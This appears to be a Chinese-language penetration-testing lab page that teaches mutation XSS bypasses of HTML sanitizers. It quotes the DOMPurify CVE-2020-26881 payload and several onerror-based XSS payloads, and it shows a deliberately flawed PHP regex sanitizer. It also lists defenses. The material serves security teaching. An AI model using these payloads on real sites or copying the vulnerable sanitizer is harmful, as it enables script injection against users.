◈ 渗透任务 HTML 净化器绕过测试 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 RichEditor 富文本编辑平台 (editor.richeditor.example.com) 委托方 RichEditor 使用了 HTML 净化器(DOMPurify),但可能存在 mXSS 绕过 任务目标 利用浏览器解析差异构造 mXSS payload,绕过净化器

📖 教程:Mutation XSS

什么是 Mutation XSS?

Mutation XSS(mXSS)是一种特殊的 XSS 类型。攻击者的 payload 经过 HTML 净化器处理后看起来是安全的,但当浏览器将净化后的输出渲染为 DOM 时,HTML 结构发生变异(mutation),使恶意代码复活。

核心矛盾:
  • 净化器用自己的解析器解析输入,得到一个"安全"的 DOM
  • 净化器序列化这个 DOM 为 HTML 字符串输出
  • 浏览器用自己的解析器重新解析这个 HTML
  • 两次解析的结果不同 → 恶意代码复活

HTML 命名空间

HTML 文档中存在三个命名空间,它们对标签的解析规则不同:

1. HTML 命名空间(默认)
<div>...</div>
// 标准 HTML 标签,按 HTML 规则解析
2. SVG 命名空间
<svg>
    <style>...</style>  // SVG 中的 style 不同于 HTML 中的 style
    <foreignObject>
        <div>...</div>  // foreignObject 中可以嵌入 HTML
    </foreignObject>
</svg>
3. MathML 命名空间
<math>
    <mtext>...</mtext>  // mtext 可以包含 HTML 标签
    <mglyph>            // mglyph 是自闭合标签
</math>

变异的关键:mtext 和 mglyph

<mtext> 在 MathML 中允许包含流式内容(HTML 标签)。但 <mglyph> 是自闭合的,不同浏览器的处理方式不同。

// 净化器可能这样解析:
<math>
  <mtext>
    <table>
      <mglyph>       // 净化器认为 mglyph 是自闭合的
      <style>...</style>
    </table>
  </mtext>
</math>

// 浏览器可能这样解析(变异后):
<math>
  <mtext>
    <table>
      <mglyph>
        <style>...       // mglyph 吞掉了后续内容
      </mglyph>         // 浏览器强制闭合 mglyph
    </table>
  </mtext>
</math>

DOMPurify 历史绕过案例

// CVE-2020-26881 - DOMPurify < 2.0.17
<math><mtext><table><mglyph><style><!--
</style><img title="--><img src onerror=alert(1)>">

// 解析过程:
// 1. 净化器在 MathML 命名空间中解析
// 2. <style> 的内容是 <!-- ,被视为注释开始
// 3. 净化器输出安全的 HTML
// 4. 浏览器重新解析时,<img title="..."> 中的 --> 关闭了注释
// 5. onerror 事件处理器被注入

其他 Mutation 向量

noscript 在 JS 禁用/启用时的差异
// JS 启用时:<noscript> 内容不解析
<noscript><img src=x onerror=alert(1)></noscript>

// 但某些净化器会解析 noscript 内容
textarea/title 的 RCDATA 解析
// <textarea> 和 <title> 是 RCDATA 元素
// 它们的内容中 < 不会开始新标签
// 但实体编码会被解码
<textarea><img src=x onerror=alert(1)></textarea>
// 不会执行

<textarea></textarea><img src=x onerror=alert(1)>
// 可能通过变异绕过

防御 Mutation XSS

  1. 使用经过充分审计的净化库(如最新版 DOMPurify)
  2. 开启净化器的 FORCE_BODY 和命名空间感知选项
  3. 定期更新净化库,跟踪 mXSS 绕过案例
  4. 配合 CSP 防止内联脚本执行

🎯 练习:Mutation XSS

目标:下面的"净化器"移除了 <script> 标签、事件处理器和 javascript: 协议。 请利用 HTML 命名空间解析差异,使净化后的输出在浏览器中变异为恶意代码。
重置
在上方输入框中输入 payload,点击"提交"查看净化器处理结果...
📄 查看漏洞源码 (PHP)
<?php $input = $_GET['input']; // 模拟"安全"的 HTML 净化器 function sanitize($html) { // 移除 <script> 标签 $html = preg_replace("/<script\b[^>]*>.*?<\/script>/is", "", $html); // 移除 on* 事件处理器 $html = preg_replace("/\bon\w+\s*=/i", "BLOCKED=", $html); // 移除 javascript: 协议 $html = preg_replace("/javascript\s*:/i", "BLOCKED:", $html); // 允许通过某些"安全"标签(但忽略了命名空间解析差异) return $html; } $output = sanitize($input); echo $output; ?>
🔒 净化器规则:
  • <script> 标签 — 已移除
  • on* 事件处理器 — 已替换为 BLOCKED
  • javascript: 协议 — 已替换为 BLOCKED
  • HTML 标签 — 保留(包括 math, svg, style 等)

提示:思考净化器的 HTML 解析器和浏览器的解析器有什么不同。